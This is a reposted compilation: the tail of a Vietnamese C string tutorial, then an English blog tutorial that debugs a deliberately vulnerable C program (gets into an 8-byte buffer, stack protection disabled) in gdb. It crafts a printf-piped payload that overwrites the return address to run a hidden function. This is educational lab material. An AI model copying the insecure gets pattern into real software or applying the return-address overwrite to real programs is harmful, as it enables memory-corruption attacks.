    strcpy(s,”hello”);

    free(s);

    }

    Kết luận

    Đến đây, hy vọng các bạn có thể dùng C để giải quyết được những bài tóan tin học như đối với Pascal. Trong khuôn khổ bài viết này chỉ trình bày được một số nội dung cơ bản mà các bạn thường hay phải dùng khi giải tóan; thông qua những đối chiếu, so sánh với Pascal, là ngôn ngữ lập trình mà các bạn đã biết. Ngày nay, C cũng như C++ là những ngôn ngữ đựoc sử dụng nhiều nhất do tính hiệu qủa rất cao; mong rằng bài viết sẽ giúp các bạn tìm hiểu thêm về chúng.

    Nguồn : http://vivui.net/s%E1%BB%AD-d%E1%BB%A5ng-chu%E1%BB%97i-trong-c/

    Examining a Buffer Overflow in C and assembly with gdb

    I’ve now finished Vivek Ramachandran’s Assembly Primer for Hackers and I’ve decided to move on to his Buffer Overflow Primer. I’ve exploited basic buffer overflows before, but I think going through his videos will give me more perspective now that I’ve brushed up on assembly.

    In this article I’ll be stepping through the program in Vivek’s first video and providing some additional tips and tricks that I find useful when reviewing the program in gdb. I’m also on a 64-bit machine, so things are a bit different in gdb for me than they are in the video. Therefore it’s better that I write up my own explanations as I grasp the material so when I review later it will be more clear.

    Buffer Overflow

    Wikipedia describes a buffer overflow as “an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory.” When writing software you define all sorts of buffers where data can be stored. If the boundaries of these buffers are not explicitly checked, the program may continue to write data beyond the end of the buffer. But if data is written beyond the end of a buffer, where does it go? Well, it starts overwriting data in other memory locations; or in some cases it may try to write to memory locations that it doesn’t have access to and the operating system may return an exception to the program or kill it.

    How to exploit it

    Well, we know that a buffer overflow involves overwriting memory locations outside the buffer. Typically you exploit a buffer overflow in an application by doing exactly this. The difficulty in writing a buffer overflow exploit is in determining which memory locations you are able to overwrite and how overwriting those locations can benefit you. Typically what you’re trying to do is force the application to jump to another location in memory and execute the instructions there instead of the instructions that it would normally execute. For instance, you might be trying to get the program to jump to a root shell. A few ways you might do this are:

    • Overwrite a local variable that affects the workflow of the program by causing it to branch in a way that is beneficial to the attacker.
    • Overwrite the return address on the stack. As soon as the current function calls ret the return address is popped back off the stack into EIP and executed.
    • Overwrite a function pointer or an exception handler. As soon as the function is called or the exception is thrown your code will execute instead.

    The code

    This is the C code that I’m compiling and reviewing in gdb.

    GetInput.c: the ‘gets’ function is used here so we can observe a buffer overflow

    #include<stdio.h>

    CanNeverExecute()

    {

    printf("I can never execute\n");

    exit(0);

    }

    GetInput()

    {

    char buffer[8];

    gets(buffer);

    puts(buffer);

    }

    main()

    {

    GetInput();

    return 0;

    }

    Compiling the code

    On my 64-bit machine I compile the code using -ggdb to enable debugging information. I also use -fno-stack-protector to disable stack protection.

    gcc -ggdb -fno-stack-protector -o GetInput GetInput.c

    Running the vulnerable program

    You’ll notice that when calling gets we pass it an 8 byte buffer (char buffer[8]). Executing the program and typing ‘overflo’ works without a hitch since it’s only 7 characters long.

    # ./GetInput

    overflo

    overflo

    But if you start feeding it more characters you’ll almost surely see a segmentation fault. The number of characters you have to type to get a segfault could vary depending on your CPU and your compiler, but something like ‘overflow the buffer’ should do the trick.

    # ./GetInput

    overflow the buffer

    overflow the buffer

    Segmentation fault

    Exploit type

    This particular code is vulnerable to a stack overflow. The gets function is not safe to use because it takes any number of characters from stdin and puts them into the buffer regardless of the size of the buffer. As you can see from the execution above we tried to place 19 characters into the buffer. On top of that the gets function will also place a null character at the end of the buffer to signal the end of the string. You obviously cannot fit 20 bytes into an 8-byte buffer, so we overwrote 12 bytes of data in memory.

    Because the buffer variable is a local variable within the GetInput function, it will be stored on the stack. Based on that we know that reasoning, we know that a stack overflow is occurring. So if we wanted to exploit it we would probably just need to overwrite the return address pointer or EIP.

    Analyzing the program in gdb

    Digging in

    Let’s understand how this overflow actually works and how you could do nasty things with it. To start, load up the program in gdb.

    gdb ./GetInput

    Setting breakpoints

    We know that gets is not a safe function to use because it takes any number of characters and puts them into the buffer regardless of the size of the buffer. I think it would be most helpful for us to set a breakpoint just before the call to the GetInput method and just before the call to gets.

    list

      {

          char buffer[8];

         gets(buffer);

         puts(buffer);

    }

    main() {  

    GetInput();

    return 0;

    }

    (gdb) break 19

    Breakpoint 1 at 0x4005f2: file GetInput.c, line 19.

    (gdb) break 13

    Breakpoint 2 at 0x4005d4: file GetInput.c, line 13.

    Running the program

    Let’s go ahead and run the program now that we have the breakpoints.

    (gdb) run

    Starting program: /root/c/GetInput

    Breakpoint 1, main () at GetInput.c:19

    19      GetInput();

    Examining the stack before the call to GetInput

    Because this is a stack overflow, it’s important to review the stack before we call GetInput.

    The stack before calling GetInput

    (gdb) x/8xg $rsp

    0x7fffffffe3f0: 0x0000000000000000  0x00007ffff7a78c4d

    0x7fffffffe400: 0x0000000000000000  0x00007fffffffe4d8

    0x7fffffffe410: 0x0000000100000000  0x00000000004005ee

    0x7fffffffe420: 0x0000000000000000  0x27697451f3069404

    At the top of the stack is 0×0 followed by 0x00007ffff7a78c4d.

    Examining the stack after the call to GetInput

    Now let’s step into the call to GetInput and examine the stack again to see what’s changed.

    The stack after calling GetInput

    (gdb) s

    Breakpoint 2, GetInput () at GetInput.c:13

    13      gets(buffer);

    (gdb) x/8xg $rsp

    0x7fffffffe3d0: 0x0000000000000000  0x00000000004004d0

    0x7fffffffe3e0: 0x00007fffffffe3f0  0x00000000004005fc

    0x7fffffffe3f0: 0x0000000000000000  0x00007ffff7a78c4d

    0x7fffffffe400: 0x0000000000000000  0x00007fffffffe4d8

    So if we look for the 0×0 followed by 0x00007ffff7a78c4d again, we can see they’re still visible at the second-to-last line, but they’re now further down the stack. It looks like we’ve added 32 bytes to the stack here. Based on the code you should have a pretty good idea of why, but let’s review it in gdb to be sure.

    What was added to the stack when calling GetInput

    The answers are simple, but I’ll explain them in detail so this section is a doozy. Let’s start by looking at our current stack frame (the frame for GetInput).

    GetInput’s stack frame

    (gdb) info f

    Stack level 0, frame at 0x7fffffffe3f0:

    rip = 0x4005d4 in GetInput (GetInput.c:13); saved rip 0x4005fc

    called by frame at 0x7fffffffe400

    source language c.

    Arglist at 0x7fffffffe3e0, args:

    Locals at 0x7fffffffe3e0, Previous frame's sp is 0x7fffffffe3f0

    Saved registers:

    rbp at 0x7fffffffe3e0, rip at 0x7fffffffe3e8

    If you look at the first highlighted line above, you’ll see where it says saved rip 0x4005fc. If you look at the 4th position on the stack you’ll see that this matches. That’s because when we called GetInput the return address to get back to main was stored on the stack. You can see this even further by disassembling main:

    Main’s compiler-generated assembly code

    (gdb) disas main

    Dump of assembler code for function main:

    0x00000000004005ee <+0>:   push   %rbp

    0x00000000004005ef <+1>:   mov    %rsp,%rbp

    0x00000000004005f2 <+4>:   mov    $0x0,%eax

    0x00000000004005f7 <+9>:   callq  0x4005cc <GetInput>

    0x00000000004005fc <+14>:  mov    $0x0,%eax

    0x0000000000400601 <+19>:  leaveq

    0x0000000000400602 <+20>:  retq

    End of assembler dump.

    Notice the highlighted line is the return memory address on the stack and is, of course, the line right after the call to GetInput. When GetInput calls ret it will return to this location.

    Now if you take another look at GetInput’s stack frame, you’ll see I highlighted a second line that says Previous frame’s sp is 0x7fffffffe3f0. This is the stack pointer for main‘s stack frame and is also seen on the stack after the call to GetInput. This is because the first operation of any good function is to push the base pointer onto the stack. If you disassemble GetInput you’ll see that’s exactly what it did.

    GetInput’s compiler-generated assembly code

    (gdb) disas GetInput

    Dump of assembler code for function GetInput:

    0x00000000004005cc <+0>:   push   %rbp

    0x00000000004005cd <+1>:   mov    %rsp,%rbp

    0x00000000004005d0 <+4>:   sub    $0x10,%rsp

    => 0x00000000004005d4 <+8>:    lea    -0x10(%rbp),%rax

    0x00000000004005d8 <+12>:  mov    %rax,%rdi

    0x00000000004005db <+15>:  callq  0x4004c0 <gets@plt>

    0x00000000004005e0 <+20>:  lea    -0x10(%rbp),%rax

    0x00000000004005e4 <+24>:  mov    %rax,%rdi

    0x00000000004005e7 <+27>:  callq  0x400490 <puts@plt>

    0x00000000004005ec <+32>:  leaveq

    0x00000000004005ed <+33>:  retq

    End of assembler dump.

    So as you can see at the first highlighted line above, GetInput did clearly push the base pointer onto the stack, which is what we saw when examining the stack.

    That only leaves the other mysterious 16 bytes at the top of the stack. What are those for? Well, if you review the second highlighted line above you’ll see where the assembly code asks the cpu to subtract 0×10 from the stack pointer. If you do the math there, that’s 16 in decimal. So the stack pointer was adjusted by 16 bytes, which is to make room for buffer, the local variable we defined. Of course we only defined an 8-byte, but I can only presume I was allotted 16 due to my 64-bit machine. I’m sure I’ll eventually learn the answer to this. :)

    Why isn’t the buffer 0?

    You also may be wondering why the buffer isn’t defined to 0, but instead appears to have some miscellaneous data in it.

    buffer, the local variable in GetInput

    (gdb) x/2xg $rsp

    0x7fffffffe3d0: 0x0000000000000000  0x00000000004004d0

    Well, the answer to that is simple; we didn’t ask for it to be 0. As you can see in the assembly code, the stack pointer was just adjusted to make 16 bytes available on the stack. Therefore, the next 16 bytes are now made available. We haven’t set buffer to any value and in C this means the value is indeterminate! In other words, whatever values happened to be in that memory location are still there[1].

    No more gdb

    Now that we’ve determined the condition of the stack I think we know enough to exploit the program. You can go ahead and close gdb.

    Visualizing the buffer overflow

    Here is basically what our stack looks like in visual form (I based the representation on Aleph One’s):

    The program’s stack

    bottom of  DDDDDDDDDDDDEEEE  EEEEEEEE  EEEEFFFF  FFFFFFFF  FFFFFFFF     top of

    memory     89ABCDEF01234567  89ABCDEF  01234567  89ABCDEF  01234567     memory

    buffer            ebp       ret       a         b

    <-------   [A-16-BYTE-BUFFER][0x010101][0x010101][        ][        ]

    top of                                                                  bottom of

    stack                                                                   stack

    So, when feeding data into the gets function, the first 16 bytes will go into our buffer on the stack. The next 8 bytes will go into the stored base pointer. And the next 8 bytes will go into the return pointer. The best way to exploit this application would be to overwrite the return address to point to another location.

    Thinking about the exploit string

    We’ve counted the bytes, so we know now that we need 16 bytes + 8 bytes to fill up the buffer and ebp. Then to run code we need an 8 byte memory address that points to the code we want to run. So the string needs to look something like this:

    aaaaaaaaaaaaaaaaaaaaaaaaXXXXXXXX

    The only problem now is we need to fill in the X’s with a memory address of some code to execute. Because this is a sample program, there was a method called CanNeverExecute intentionally added that will never run under normal circumstances. To demonstrate how a buffer overflow redirects program flow we’ll point the return address to this function to cause it to run. Let’s take a look at the method to get it’s memory location.

    CanNeverExecute’s compiler-generated assembly code

    (gdb) disas CanNeverExecute

    Dump of assembler code for function CanNeverExecute:

    0x00000000004005b4 <+0>:   push   %rbp

    0x00000000004005b5 <+1>:   mov    %rsp,%rbp

    0x00000000004005b8 <+4>:   mov    $0x4006fc,%edi

    0x00000000004005bd <+9>:   callq  0x400490 <puts@plt>

    0x00000000004005c2 <+14>:  mov    $0x0,%edi

    0x00000000004005c7 <+19>:  callq  0x4004a0 <exit@plt>

    End of assembler dump.

    We can see that the first line of CanNeverExecute is at the memory location 0x4005b4, so if we wanted to execute this method that’s the memory address we’ll need to provide to gets.

    But how do you put a memory address into a string? Typing the hexadecimal numbers in the string would simply treat them as their ascii representations, so something like this will not work.

    aaaaaaaaaaaaaaaaaaaaaaaa4005b4

    Placing hexademical into a string

    There are numerous ways to do this, but the easiest way to do this in linux is to use the printf command from bash, which works just like it does in C.

    # printf '\x30\x31\x32\n'

    012

    This particular example just prints out 0, 1, and 2. But you can use this to print anything as a string. If you don’t believe it, try this one:

    # printf '\xaa\xab\xac\n'

    Crafting the exploit string

    Now that we can put hex values into a string, we’re ready to create the exploit. If you’re anxious you may have already started typing, thinking it’s one of these:

    aaaaaaaaaaaaaaaaaaaaaaaa\x40\x05\xb4

    aaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00\x40\x05\xb4

    But which one is it!? Actually..

    They’re both wrong!

    Chances are if you’re reading this article you’re running on an x86 or x86-64 processor, so data is stored in memory in reverse order!

    This sounds confusing, but what this means is just that we need to put the memory address into the string backwards so that when the CPU pops it back off the stack it will read it forwards. So now our exploit string becomes:

    aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00

    OMG I’m an ub3r h4x0r, let’s pwn this program!

    Wow, you’re really excited about this, huh? Ok, well let’s try this out and see if the exploit works. We’ll just pipe the output from printf into the GetInput program to see if the return address is overwritten properly.

    # printf "aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00" | ./GetInput

    aaaaaaaaaaaaaaaaaaaaaaaa�@

    I can never execute

    What do you know.. the CanNeverExecute method ran as expected and printed “I can never execute”. So.. the exploit works! I guess you’re an ub3r h4x0r now.

    Finish Line

    Well, you’re ub3r 1337 now, so go forth and prosper! I’m sure you’ll see more buffer overflow articles from me soon, so be on the lookout if you’re looking to learn more.

    Source :http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/